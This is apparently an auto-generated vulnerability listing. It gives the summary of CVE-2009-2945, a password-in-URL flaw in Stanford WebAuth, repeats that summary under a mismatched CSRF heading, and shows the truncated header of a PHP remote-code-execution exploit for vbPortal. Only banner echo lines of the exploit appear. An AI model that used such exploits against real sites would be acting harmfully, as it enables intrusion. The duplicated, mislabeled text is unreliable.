CVE-2009-2945

weblogin/login.fcgi aka the WebLogin login script in Stanford University WebAuth 3.5.5, 3.6.0, and 3.6.1 places passwords in URLs in certain circumstances involving conversion of a POST request to a GET request, which allows context-dependent attackers to discover passwords by reading 1 web-serve...

Cross site request forgery (csrf)

weblogin/login.fcgi aka the WebLogin login script in Stanford University WebAuth 3.5.5, 3.6.0, and 3.6.1 places passwords in URLs in certain circumstances involving conversion of a POST request to a GET request, which allows context-dependent attackers to discover passwords by reading 1 web-serve...

vbPortal 3.0.2 <= 3.6.0 b1 (cookie) Remote Code Excution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "vbPortal 3.0.2 = 3.6.0 Beta 1 Remote Command Excution \r\n"; echo "By R00tATI Mail : havoc1988 at gmail dot com \r\n"; echo "Thank you Minus-Power \r\n"; echo "Thank you rgod for your clear samples \r\n"; echo "site:...